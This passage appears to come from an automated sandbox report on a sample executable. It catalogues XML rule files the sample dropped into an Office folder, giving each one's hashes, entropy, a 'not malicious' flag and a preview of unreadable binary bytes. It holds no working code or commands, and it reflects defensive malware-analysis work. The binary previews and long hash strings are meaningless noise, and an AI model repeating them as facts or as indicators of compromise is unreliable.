SHA-512:	72C7056D9410CAD2CD3CF5DD7795D09D17A5BE411F1221FF8A8208B9C53AF97FF6AB1AC97FF4B050DCA390F621A5ED6612AB4E6A92B786E51FCBD82F5502625A
Malicious:	false
Preview:	.<?.(.i.u....e......:.k......KR....]..#\.HY.....Q./...d..L...h..j....n.B8....H...7.k........J.v.!M..k{sO=...e.......I.k'QF.b7.s..o...v.v1:.*.3.......1.... .]1vf.C...?h.<[....6..Z.....?..EB..B\../..5..s.;=.....].>#.Cx............<R..=.U.v.s.....B.1..}.......{......9Q2x.l..T.....~......$._uP.r'od...n.....`...n.?..h,.@Y9(WL..x6......,...{mO4. d@Y.>.)...e..1..V`.-t..........F.%7..3(.v.R.i.....>K..;N.;.9.(..0.s;.<1./.H.)..w.L......E..6.&....G.7.1.......n....C..b...g....z#V?.W.$V._f..W\|.r_.....~n..@C.C......`{x[7)..5..k.....7K.J>z;c.........h.1rt..."...e.m......-4.?w..;...Z..;q.OnAT..].1B)./..+KH..ze.o.5.dg.....c...<G.....gyuZ...mG.9C.\|.Ut.....9.c8og.._.og.\.Z..(2Yd...x.9.{[WU...31..c>c_...}mPme.B.?t.-.JK.8~..G.S};.9..y.LY_.1P?z!....j.9....G.6..`.GMo9H/>....b... ....2kc..W^h.!.(;k...I.g...z,..V..v...9N....H....#Y........h<J.....%0....y.....^..B....g..F..l0....gSU{0...'.'...;....o,,.O.:a.&..!.2....v..1m.&...[1....u.../..F..(..`..g................_..\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703450v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.902540387467268
Encrypted:	false
SSDEEP:	24:UFqrHdsegPXJ+QCyj0mdwBpqOqJ3/m71Z1a7i4M1N3P2WfD3zw1Fj+4+Y+tvYP1c:RHdzJyjYTqbkZ1oivfrs0Y+YWD
MD5:	8EE0AD15CB8B75D9DBB653A7FD2C3804
SHA1:	87534BAA253E41527BE233785FB6CD241A1F6940
SHA-256:	2E9CC3F622AC3C924B0BD2BE35AF096880593A7EB374A9F4A8CE82EDD42A0BD6
SHA-512:	B1F244DD92001B547693B405EB95828082E7592B8E3C8AF754BD04007A2432972D75D05A9FAD9BC8620D5017699BA0524E53BD4AC1ADBB31FB81659D4A064AC6
Malicious:	false
Preview:	.<?...\|.^...0...[.....r......Nj2.S."Q.]i.z.......#sI.;...0..c..%6..g..S.....3%.3....?0?/....n...P...U.....+:...H7....&,.j. ...K..&.6rqK.~...W.".......O..p.WT.!...T.&.w\|.O)~....\4R....x.K>H..o.M...G...D..\._Fy..y$9.Y.Ko.....9;S..&Of..$....@k.eZ.h.N.L.QH....9\Uq...R...I.q..h.....F....B.Jnl..!)JqI...z.H$.M.&<.......1....0.G.^...O....P..+..B......{L.y_..5o.Sc=.9......@.L......x....x.]6.?.-...s2.....Wr.`j0..+........K.D.X..g7./T...%Ex....S.....?;...\|.M .<.\..(.EI~...C...fHp.U..IP..z..\Y.p#.e.=.._.qV........\.Gw.i...2....h..P.....y.....V.].K."./..h.....O=..z<(...Dez......+mY.@.-X...k...1U.{.bP..I..m.;..._..l.ySbr...Y..d..3.]L.8...g.za.L).....\..%.........4...^m.+...f.a.Bk"'U..R......"O.H..I,.....a\..P.6..m.U(.._6/^....<.).c.....6.....'.)xa../.60A.....{...\.#..M.Ar.....l...J.....w..q.(....../.3....\|......n.z....L..uB.i$...)w5...D...... .h.e....7.{O..tA.!..^.1....:.....k.;-...PRl.Q.<.....U........Me.....@E..`<%[....k...........f.....-..^..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.882954295004166
Encrypted:	false
SSDEEP:	24:pZDgQ59iamdfKa4RSuHOOWmVGrdodI8KM8Y0FWiNEgNsoBu7xXYiLZyxcYgtMdv2:pZDgAwiaaDHpWuGhBDMFgyoE6gUFBOD
MD5:	8E98011D57C74569B3792F0C3E91FC49
SHA1:	169B368505B8A2D6FABBCF31CFB20A12340E8133
SHA-256:	A3D06FC57496C7EB213DD4DB4E9231BAC5F6D2615432632E60B2287F84C16F38
SHA-512:	AF7C592E05BE443CDF0100B9E6E9E1409150DBE19C85907AC92DB79469924042BFC06A9B0075C0CE709A2654B545BC9AF455935E2DAA67B5A20ECE655C022461
Malicious:	false
Preview:	.<?....HG.N)...Q...&.Fg9.-...7_#.......}@3:fx?..4.w...{..4...C...&.....Mj.....te..FD.C!....i+....AF......Ck.qy..tW...RN\.h.4;.D..gg....HE$>.=\|.2Y......A...EE...j ..R.......(......qE......h....2..6...\|Lh...q.6..i..%...\V...Y.f...>....'t4.0.....z.j..M.%a.g."...\|..4..&..(&..D.......lF.w.}.7aN.....B..+.M. . -8WJ.......Bm\|Ig..vp."g5U.{9d.Y&..&..A.......i..aX..2....Qn..P.......{M..Y8e...$..X].O...q....f..1u.... .K....+w.j.....o.o..../(t..b........$;.V/....qT6..4<IGfE.@.....@.3..._...../.\.u.x&..L..1HP....l...3.N.Z...\.g.<...<j0.Ny..7.i.Zx.K6.!g.xp...&ns.......\|. ...Te.o.`...W5UN.....'~.,vj...e..u.^5g...i...\..x..U].y....m../.?....@..-.Y.c.p_..g..`..E.".R....N. .B..c..&...7W...<.?.l3..v....I....}.d~...&.....4xZW.C...C.(....E....@{(4...a.....2uk...f.........-rH....;.l2..+...=-..d@...ks~.....Z.@.....4.h....Fa.c...N.X..5...+..}..w.Uq...D.C.j4.T.? ...I.h&...G.....';V...].........L...\|.....W.7...]..Es...yNT..f..k...."}...6...p.0rR..d....>...N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.871886409468963
Encrypted:	false
SSDEEP:	24:TLggOrkc9WqKtl71fRfvzQfn4UhlxqB+pzIDopp+epjfa2E8Ntz8ug/eBcdSdbD:GrkAhe1fRHC4UhlopEDfbNI/QOED
MD5:	BA3BDA5E8A1A4451B8071F06AE3A320A
SHA1:	EFA7117CE9E15B1FD1FDD18FD59AD9DB74903102
SHA-256:	33A45EEF40A98D315F68608069DAA65A51F2C37A52505A3DF7D705739B9AEC8B
SHA-512:	048F580F4DBEF8F8543FC8FB4DFBDD150397B53FEE7BD820CC37C95F9D4D608794C65D76662616269F40536F6FC75F9B7EC8A487A880B3B8DEB5D97A13C312AA
Malicious:	false
Preview:	.<?b..jS.v.B...=...TY..0.x.."..d....v...9...l^8..#....H....b.2. .(..X.->.N...f..li.....H.H.\i......_.....G..k>QU9...F}.M...J}~.K.T..~......S...2.....:...T_.....(..(...<v5qL..H...K..\|...F.YH3M..K..@U...4.z.X.5.............F.~.....-.BIE.h0K......).PO.."..w.w.......-.{.<..L{..XW.}...m..r...._&..#.3...@]0...rT......e....t..T$j}.3/.8.Q..l.>9..R..{.x.J.....&.x.EmW...=6.R..".?./....b1..]t9.......T-]`#..QK..~N.&6..Qy-,.$^..p.j.i..6".<.m.l.M...z/....L..2...P.D..{}[..U.......5.itm...7.oh~-6N.1...7Az...rL5...q..h(.z....I..E.e.#.nOv._.g}..{.;..FmD.... ..#..{5OR..t...bp..X0.i..]Z`y....e..'.....nl...\|#..?]...9..g...Q..K..................f;`...:..9.;.....l$o..... O:R7c.....X..>.k...(.).R.V.L...]A9.....Q(\.@....(..d...........8..t&?3.Sx.K.#~/.O ...h.sUJ..o..c...05......dY...mY=.}.*....^t....x8A?,.....d".....b...P.....jXw.oU.ah.W...38.P,......9!7.%...B..2-u.B.e..87.;........0..Q....4...E..3....B..9.h..v%...M.<....-..S...uh...{.[`g.7.p...t..#...C.%...8@k\|.N}r.J.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.873795401184346
Encrypted:	false
SSDEEP:	48:ltouGuRmtpC67TzfhFhKMu5njjXZVQ0uEVc4r/D:lt6XBKbXZVPuT4rr
MD5:	87572E4DD34544A67C51B1CD4D07DBDF
SHA1:	F436187343BCA9894C6A77C014E928AE5C988CE2
SHA-256:	89EF9177E222CBA7B76D755EFF9D32DDA4829EB24F05A871E11A00BE489D8F7F
SHA-512:	680E75B0967C6FF28DA8EDBE21F309426252A6AF4CD687DFDD8D6DF32D94D5132F149A512BDACA048E7626AA4A7D48FA06AF5074D72AD39629557A2526E6056C
Malicious:	false
Preview:	.<?.2..ic.w.........4....b...\|..........:f..a<IL..m.JZ.g.......D.H#k.v`..b.2...f..A+.".o,j......Y..=,....:..S.]..C.^....8.._K.AK.}6@..(..>..\.Ed#_....G-s\..(....%S..6.Q...\..r..d..n.{..\$U.f..K.j.>.S....t.D\.5....(...3.3.....m.......K...k. .N........9..07:O5.5Z.f.!....m._.]...P..HtT.B...cM.wvu\....0...n....f0H.P.$(>.K.};.n.A...H..yP.v-.hs1.5..?bgi5..o....n...U&.(..~.BS=..t..t...."....*.x6.b.e./..9._W:..I8e..z........1.......-.S....M(.2...._n.F..J..cj.e.YW.oOm.xU.\...%h.e.Y..\|...X..q....u...s.u........6.}.<Q..;^x...../u.`...\>=...".m..B..Fn.M.q....O.:s-.....w..e.Ct7...Wy.ndD.O/;...J.Bz{..ed-.i'I.....A`....n.....m..<..b.%..D.m...m.....F.;..8H...?sWP;.kE6.......z..r... ...1.m...^.R=..t....uv...D/.S.t....4..j;..\....TAu...09.w.S.f...& ....CJ.Z...c.....y...d.?........=..ln..(.....Tb.I.Ddj..?....7Q...$......}........D....J..<sODP....B:.a...J.sJ$...$.KQ..l..x4".:}6.o...hPJ........0..q.........y...l.\...F.f.]W.g.@I....^f./.....;.4.m#....i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.882593018487312
Encrypted:	false
SSDEEP:	24:F+bqH+NLfuK2J+Qa+Hy0++VGskYBHyFgZ6y/xswB4ec7eU4hl+eBb+gTR/51WlbD:cLfuhQL+HH/8YBSo6yxO4hRJd/21D
MD5:	2E2A381EA4EEAE9F330ADDBC386A2D46
SHA1:	BB1CDBF05E0DAA92F56E537BA9BD1A7F43E62AA0
SHA-256:	2B3B50258FA8A56051916BCD3164E7F3DA55A4780CDBD1C71CD0101157C096E0
SHA-512:	F7CF9534BF71AC953B9D8420BED30DC3F527186F5178F86932B0DE227386A542287D8126E3F32ADB7764D69A9F6FDEDF31CD6CE06E75C2431CF0C0BC87243B6B
Malicious:	false
Preview:	.<?@A...7F....!Z...GNJ..FcH'.h......hWJ..@.~......1>J.' ....FQ....d#X.P....,.{ .p >.S.;...O....,........x............]....`G.%.+.Y.#KK.?u%.`.....?b"kz..db.}H.).2)..g...+...N..~.........ej......-.x.....&w....e&a:;...m.......(..E..-.X4..7)..3..I.cL.$..!..O.n4yDT$F(...n2EO.........cs.8D..D..Q...y.X.......-4.......\|..2.-((3.[N\|...=....TQu.~[.....U<.&.b]\|x.@$..+4...A.U.....z.....d....{...!..}.63..S`.[b"..K$&...O....O.u>.}.I..s........m72sFKJ.%...i.w..J....:.".FS....<BdEw 4.?Go.HA.M.TIB.-..d...S.W....^<.F..B,\|.a7F5..9..T..\|.C.h.M.....d...kO".TD..5..].=.<J...2.i....E0.PH..d..S@...VlP....J).\....4J.K.....X.#.....=..z.#...Xv.U.......h.E3KMW.T.u.R.9C.J...`<qr..#YF..5^k.......V..5...BD.fY#].o._4...g=.y#s.VC.X.Ry..8..c.>YT5..k..S..ay.'/.E<.+.%....\|...+.V.._\.:..4...)~cg..7O.r.....X...a.\..c..-..T.....}q..:Jo..'.............(g.\..}Mo.....g..6.H.t>..... .-<Iq...v....B..'....yr..7..t...\|...O.....1....`.nj...9p._........ .i4..<..VR9.3h.....b..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.889036152071088
Encrypted:	false
SSDEEP:	48:cWiBVbgWFoAo6hyNDyY6Ssm47zXrdFieCLIrD:cW08WiAtsDUSGXdFVvH
MD5:	EB6E0A06349722937068D199BA2CB40B
SHA1:	E54263E2943D545B859A1AF95667E21C97E9AF1E
SHA-256:	ADD30ECBC2D5C6FBF028E71D262428D15FB1889E69BF12B10B501BD6AA8DEEA0
SHA-512:	414FA37CBC9E45ACF4F1315FDA14D5A82FC9C1CE5458F1FADB9D547609FE711949276F23B63BE79FACA41D94B6F2B46C07C752E2FD819D897F6674731E77F576
Malicious:	false
Preview:	.<?.....<o3%.k....o..s`.H.R.G..........".......o.v.lP;....{...=.ev..#.)s....O.\|`.....7U.....Bm. Wp.t.B.{..'..Jn..2....gbu...kb...F..6.......cd.`... {.S...F..O..X...>:..C.....m@.A.TUR<...do2}.......'....l.....Yh...&5....Y+..^.....0..J...[.... t...a.5....5...Sn.....x.}A.^..>.h...^=./..:"g.!X.....a..o.CZ&E...]2....$...F).MN8^...@>z.D.....l...H.\...b..T...9.>.c.D.Vr...=...(H...Vk..dW..T...%9s.......f-)U.....&.nfX....r9....Z.oo..k...Bw.....N.a.....u...0.F8Y$2.LOT.\N<..]K:..5.....X......A.... .....5X.f!.N.]....J.L(.{h.#g-9.y..4...&.....FH.F] .. o./Y...s(d.I.+..I.3&_\|.%P\|...6.q..r..M.Y......j.g.p.)aA.X..!7..N.:.9.....\K,.U.<..._.j....o#...G^.Y.8.O.\|..Q.M.2.D#.'w..4.b`...S.. U.3...G.5...o.I......._...J..Nm..>{G...._..-..{.vX......u.H......I..mK.g.Q...$...' .F..g..N#....+.~.,{$..Q.a.....$o.....\..7......31.M.&..i....l..OF.N...t.V..{...0....[.f.+d.....Z..L3...d.56...=..P?l...#..Cz.7.{R...f.qxq...4........U...1.0.A.....1.y\|\|.u.E..Z....{&.in..~..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.876425091777785
Encrypted:	false
SSDEEP:	48:5QPtQ1oBdSztTkJHqMDrQMegS8ifNoh+Q3D:qcncKMXQMegS8iah+0
MD5:	3509A68B62FE12177E8CF7F30DDED012
SHA1:	465E1356A6A1EE26DF670902D4D9B74AE08DEF5E
SHA-256:	98147489E1A1E5C183D227463A0F3377D1E18795949E2F76E23C6326DA485435
SHA-512:	B7AEB65FE57BDC430C48A484126FD596B68F4288FF2B3F7615A434E4746C27758AEE3C375F0E365AF5AD3D0963D35124CD70B437B4D1368D3EB929BF95D827D7
Malicious:	false
Preview:	.<?....We.!Hx.._>q.S. .._C..B..@.....^..2...z_.....I.....J].G..ux.(..>g..+.N.......J.b.n.f.....j.........y.K....3V.e.R1.V..h..]S....4..}I..\...`q.2%...B....+..Y...X..UA../.K9#...S...~.x....9.3...K..KX...~..x....Kn..e.>..O0...~Y.0..ti....7.....x....0_.[...b>.Ae(....V-..\|J..E.......q.@.M_.)_...51j...{.z.V.!.Kqz....?K.?..$.3h.3.E.....P..!:.B.....D........m...!-..L..,......V..C.7T.(m.m..d......wQ.?._.uF,.......C.[Y.....=fK..F!%.u.mT..w...S.j.^]....\|~...4...{.Y....<4I....<.5.7.g>M..A.....e.O..X...`..S.z.x)g....=.$!.J\|..r.&s.).w...#....?.....3./........._p`........$~......c..Br.G.m.}.5...T..4..X..jT.)..#.eC@..i.)W..id....@..s.8..p..mP"...>x[..#..m=..>H\#.....w.,:e.!.V....w.1...J~@.9Ay.W.....8.T.P...&.!"O..51...Y.e ...c...q.N..\|.y.(....'eyg.G.....Y.EN.......4$^.QbI..O.....]\\|..Sd....p.Q-...c....`..r._S.i..>..K..kGF..x.....?i...o9t.......p-.H.!......(...m...M....../W/...GI..Dz..,....a..,b.o..2'.^r.<...yje.T.B@.}...c3

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.870328422121691
Encrypted:	false
SSDEEP:	48:WDUU4wCvZ7N+9rQDHWz5m6TMzhCqZsI/+04KV1OzyOXD:W42GZIQDg5tMUzEAFT
MD5:	4E3F68173FE2ED802BECCB435C042119
SHA1:	CC65FC10F170A64E0548376F4B90AA5B7EE05BF4
SHA-256:	06BDBB10F7CACD2D5C04BE1DFDAE3B472608E5D7DB53377D5825A3C9CEA90915
SHA-512:	EAC8F51CD08DD5C53B765ECADAEE7C4CF72DAAF98BA15251BA886AE20604467A8B50209E0EA80B5DAB05EA74FC543169ACB7EA2CD945C33539081F7070F739F9
Malicious:	false
Preview:	.<?..j..\...5X...w..8..;...\..X).;.....3..^$#o.t$....7'..i].p.y./+t...[.CD8{..h.....gK^...7.H.x.h.A...yJ......'r.......yMr@......M]$>..!.).......]t...I..{w..E....)..3v.\|......l..7.)...I4v.Ys>..2.x...'..1..h...%6..f....E..-.F..KA.@gv...7...o.Sr.G]....S.W.Eu.a..LJr..I..Hq.....G!0...........4.\|.0<....Y..p=.]..y.z.\|.\|v...Xh<.{....&..],~....{....OA.B..I...L=kq.`...$....{......x..q\5p...z`,.....2@p+X%.....D.I...O%...=...7.\...[.>....k.@wD......'.._..T......K.}.....o3`"...h..Z..<.....;..!..."7A......p...w..1.....q..Jt.t.4E:.F9..G.I.+B/..A..[..3.Y...I....#..y....../.>.}.sHh.B.V92^>..s.2./8...=?.6.I...qWa.~.L....g.0.:^#. ..1.^.2.'...}....RbWw....D..t4..+.#..fy/......ng..`..1m..!..]....HA_...]....l....$s.......;a.y...OD.n..T......K......_..C9vY.....vH:.oP.u.;...'n.l%X.Z.A.F...gd>..S.O......M[..I.......UP..X.8...an...P%7....xO...5./...t1..O....H .~x..2 .c.+..k.,....(X...Pg....\...:.L.Y... .ML.d.-.F.\W...l......NoE.....@..f.d.p....T...P...u0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.889085025900326
Encrypted:	false
SSDEEP:	48:8XuH1qBJm+buEOiO9Mznrya4PCbXx3XkUlD:8XuHaVQlgv4PCbBd
MD5:	7070C26446DCDE287D8F1E6C99EA3406
SHA1:	B09A78C396A19338475B80FAB1F8BDEB325EA56C
SHA-256:	F8B9440124325E907272D3ADB5AB0643A71FD35AAB444F0AAC804531E479AD77
SHA-512:	9BF8B254B3D0C27332F1474FBA08992CB7BD2AFE66916BA3C9419EC4D02D690D87186A5A9925ED9A2FEE62B7E72DA839B6F197F846AAF7122E24664DE70D8035
Malicious:	false
Preview:	.<?.}8...z`"1..tbY.'.%...y...$Q~...........JM75Ff".!.1..h... ..V.m....EG.k.......N.r)..n.....t.CZ.Ky.L.g.R..m....1Q..(.k..+..}Fz..=.6"=.).../J/2.W.U_..e.Tp[..y......N....O\|.G[X[M..</...;.......>../.:v..\|Jzprx.a.......&.k..8i.-.......a.}..)I6e:..;>./.._.....L...E<P%ci.>t5....K$K.4I:.P"...2..I....\.b...vw.y.....TS........m4...$M.4@.........O8..!.....G.H.!y;P.G.AiV...2...m..S.d/.....a.).@. f....``......a.......bqd......d.xn.#....Z..K.O.Cw....b......{....B..../..%.E.Fx!e..y..O..T..m...4..ca{..F..w...YI..]..D ~.oM;z.i.:..mJw....xS.v.....&../..se.aT...Z..S.Ps..u.i.~(o&.$..&F.E...@....<..].[x.g......vr.ax.L.z.....A.,.....!=...,.0M....h.......e.P...82H.jN..2F!.W..$.ROo'UUM......k..Y...Ub.5.<he....@..y....i..kR.u/.J...mJ...N.mZC.LEM.w.`.s7$.F.,....).O...z....r..*i>.{...y]:Xw...[.F..N.V....J...:P.1..p..h6..).:.I....l.b`<..#M.x\H;\.+.......ROM....Q'.).3.......h........6.#^.u....q_qT....u..]..C...\|FM.._.Y...q...t..-PN....9..a...[..D....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.910524994897173
Encrypted:	false
SSDEEP:	24:tH9Fjz5Jsns/ENXuHcXSIj6GWZx/8EC70AdXQDAr7xhVF+Or/H8m7fWUyYZ2s651:td9yICnWzkhXtF+OrbesfjaD
MD5:	C71383083F34A12B39BC1EAE8E3E7125
SHA1:	82BC90B3D6556E3F5946CC4DBB88A79E0D0CEA96
SHA-256:	8073DA0CA53F440067E014EED7F756B0733181F84544ADD2670FE074FB42FEC3
SHA-512:	ADD748357A6DE1C8470D96AA04F0D86BBF959485CEA54F6E9554E8DD6B78B103427D66FFDE96CDBDC16360432581C26B20B2CDED01C208CB72CCEFDE39488774
Malicious:	false
Preview:	.<?...%.@b......9nm....r.d...S...g..5s...${p.....'h..)..n..$..3..%....NV.zfz...Ky....w...".GY>..5MRH.zv.3..\...\..(3..!5.g.3kI(.!X.B.....y.a........zv.r..p.O_..+.Yw.....j.\|..G....f...:.E....c..o...%5..!.@....4'...^.]_.R...K.!.E$...m...fB>.q.........$v.....F..s.\.....&..!..U\|.._....`.....^'k..z.?.w.5..O~.....~U.)=.U..x..1.tP{..p.,...."G..C..o$.NV2G....0. 3....m.......J.#:Z.g9..}s;....{.....H.....R...A.:. ...77.H.w0y.>x.o.gK...O.4...>..1.....q..C...j]..w=p%Sb.....9.9A.#..~...m.a?....g.2)..N.g-F.....Z+=...y....O...\+....C..3.r[P.r!.j.D...Fy.b:.@..=.N.Qq..!B.4o....I{....&.......j.Y..f;....0k..hQ.8i(49s.Y.y..........,5a.8W.@.)..DSk..4<..c2pN..!F...tk..1..}.V.......(<...r..s:... ..V*.s....../..H.m^x..L.hV.x...#.....6........ .k....a....`.......5.\.0.......`..S.........Z%Q}...a...Rfyh.f..@Kt..-...E...G.....v..TOT..g....j..gE...oi. ..v...`.]..e.a.^@.6I.w.w{.AOY.G.\|_........n.......se<U.......d.a{.c..N..uP..6.C..G.T..Lo/....T#}c......uQ.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.8718182907746055
Encrypted:	false
SSDEEP:	48:hLyT1ZhtJFX3Pf3kR5f1Cvv5D3HNyTRAFELRGip6XbD:m1Z/Xmf6tyTmF0m
MD5:	BCBF882A4389DE93CD9315AE2186E959
SHA1:	5ADC8271CE374256E8DFEC7FF72243A3F7A6B599
SHA-256:	24B6B55E7081A45F03917DD18994597132492A820964BC790E4D831800DEE930
SHA-512:	4FDF9D9F3601481AE0A87A0C190938BEDC2A55EBA43020AABC2B5C5B47C95F67D305039FBF65C3C1140D1A62598C4AA1F036F0C0E6A78246D5EEA4263B68AADD
Malicious:	false
Preview:	.<?b\|..Vm.......%..?DK..0v.>.\....eW.kt_.......1..O........2....!.......C../..yK.F..s...B.zw...47.7;.......O....\|B...^'~..M.}.......r..n..2..AS.E.{...2D.UEv.%.Ms..Rv.p..z.S[..\3b...u.v\|....0..>5-.=.#.\y",\|E.`6.Y._X.]7...AM.4...s.Fk.J.9...._aO.C.l.E.;.L.s.r`.@._f..z..#......-$.c. .v...........&H.........N.u.A.e.S.......ea> ...m.'.t.'&...'5MpG.....I..wC,]7....F..(.B..~F?.W.....V.Iv../.5.#.o...\.C..:7s9K.m...m.q...@.v..Q.A.(.R.....^...o.wA0.p....ml.e.;.....$..x.H.@..x..U...#..zH...ZU....^.$....B....4..._9e6..j.......S....\.t).t.,.y..fS9...V..j,}.G.......V..d#Z..>..~M$.7..Z~2T.dP...`.q.....d..2.~.0......#.....};.....sr.z0.9G.i.^.....v...zp.m.#.U...r.r.MF...&"5.(>......x.....y=G'....;..U.5N.`.tL......%Zq.[A.d.HF...d...%b.....d.{ h[H....j...1.....U.`-...I...I...T..2........S..F..$Z"i.......;.(........e......_.)".g^......7d@....1}....#.]e.x...g.JU.?.z.~.<......v.+\|.5.D5.AV.h..[z....B.&.mA1.*\...6.s....'.{....<..y.$. ...`0....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.890929765995156
Encrypted:	false
SSDEEP:	48:+K62UH/v4xCI2+jBbr/SZi+XgsFI5LpqkpgcuyD:s9H/vXeBbr/QXVoNYcp
MD5:	7BE9B115252469D58D4D11381F414B31
SHA1:	6B6FBF9F53971EAF57F1726F8AB3BA07329ED5F8
SHA-256:	12F3582878FF9B5E035FDF0D65A764BCB7AA67BD8ABD8369B8E74FD1D62D67C5
SHA-512:	36E745953CC3463A239BDAAF71C8D0E55A478BC98F987FB6BD9AAC5B64D4E4D0A0D1D6FF4BADC00DE80D70DDC1BDE800EBEF21D9E7AC936A18B2918F80572B39
Malicious:	false
Preview:	.<?A......H.{...,..m..Y..Sl^............J.,..T.0....ECV.1.Z....T.=$.u..r.$.j.%....,qaP..TX..L...k?......;o...T........\..&...[.xi`T.<..u..$.E..........U"...F...F.@..3...A.7..hAW5...7M.{G.&p..mr..A..wR...cq.>..AO/........@=.`...[r..Lm_x].X.\9M.C.i.....m...,.R..+.C....E'.3.'.. .LA..t.....H\|R.j.k..hBVc...Hr.1....)S......=.A....s..\.Pz...0.......s.%>..#G...f@..i.V.k..$C..._...u...<Kv....>.....[.....tw..u..v....3g.t....N.Bi..Tl.W.~@.....Ec....x%s...IH.2..m.nt....PT.E....A(.tQu...V.W...a.Qs=r...r...`.y.k..4.....,..<...<p...eW..`.../..&.1.i}.0)T..]...~....b+....Ud.@..C..Mj.....v..WsH......YL..>.....Y........Fd..W....J3..u..".....W...mT...~{..n.%'.8S..I......l.....m........"O../-0.2..F%...y&....l.....<s...ry.\|.x.....(.=.O....U..sn.e.X.c...............>.n.i.......9.U.........[.a.QuG.6^....@.[.'.LMl.-.B..0].5-5...N.w.....\0.m.... }XGF..\|?.!.....B....,..'F..m;.@....[QKc.\....>..dIj....}..c;.........}..m...Eo..v.40....;.k...&....q\..p.+.k....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.886845673431867
Encrypted:	false
SSDEEP:	24:Pa8qCSmOUhcHRy9Fm2r3s38t36eymCnfDfrqB7jvPbY89YlwVUOHmiRIqEC3MbD:zSuh0RWSkqiCfDm9b596vxqkD
MD5:	EB46EC1E9A89A170296C7424CFE167CE
SHA1:	D72789236A374A74D40D1709202F8EB982B555F6
SHA-256:	0E62830DA39B7645B8FED9B0CB2497D2E043FD20D2EE73045DA0D344E9B0D821
SHA-512:	BD15210F748059522CBE224B2B146D68EABF261651D796F6935BBC9054CF3D9AC1C2B19F8D28807687A1E443B2EEAEBC909126A8EE224D5982C3122BF064075B
Malicious:	false
Preview:	.<?...7.;,.sK\|...k..\|6.wl..@..l..x].......%....).f.T......R......sYK..Jm....G..;..........7f.}....<Z.E..\|..".Z.....f...B....SI.Gi.......`..._@.Cv.X........$h...J!....(..t.G5....e..z.2..XByq..wx'T....P.i...'6S....+...'...}U;m..e..%gG.`#W>..5f#...c+..`..9.]{4s.W.w."t^+..P...\.......C...s<.W.x...o3...}d....k..u?]+....L..$..&l_q..D..R>..;...sC....Oj..\|...b.2..b .7=-k...._.~ew..$/G....a..K.h....P..3.?............+..S_..-=.\g.=J)....}...(Bx.FQ%i..-..t/...>. . .R.%...1.11.i`... .m...Eh.k.?.._.".$..j.ie....d......)...q10.X.m...&3i..4.. .T(.v.....O...Jcbn.?......;l..L..y.".[g...X. ..OwR.>......s.a.o....6`x.i.@e.w..O..nK..EJ.g....6........'.O'...D... ../...J&.~.....@E.3!..i.XI.!~^.._..0..wm[.T..(.$..C.I.=K^r)...e.8.....P..............>.7.WH..qz!...5*.\..i!..Zi.....a..A-...4..L..]..3.A...<.>y...9.M.!6.\|\|"R..........79.5.k..e.`.67..E....R....%..7o.1..p5.....>'T .2`{..l+.C..q.."\......[.\|_d.f0...6?O&_..i..8h.<.1..#.-...:0.\|<.$a.W..c^.....gM....9.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.887644638097173
Encrypted:	false
SSDEEP:	48:tnZS3qAESjC8m3W9Urel5a2mYxWwwyDJcUtD:tnmfESW8B3M14WaJV
MD5:	F10A7E2EBFBF3058A54630BE1FAAE305
SHA1:	307B59F4E35579A6F497C6C4F1DBBE39F00701C8
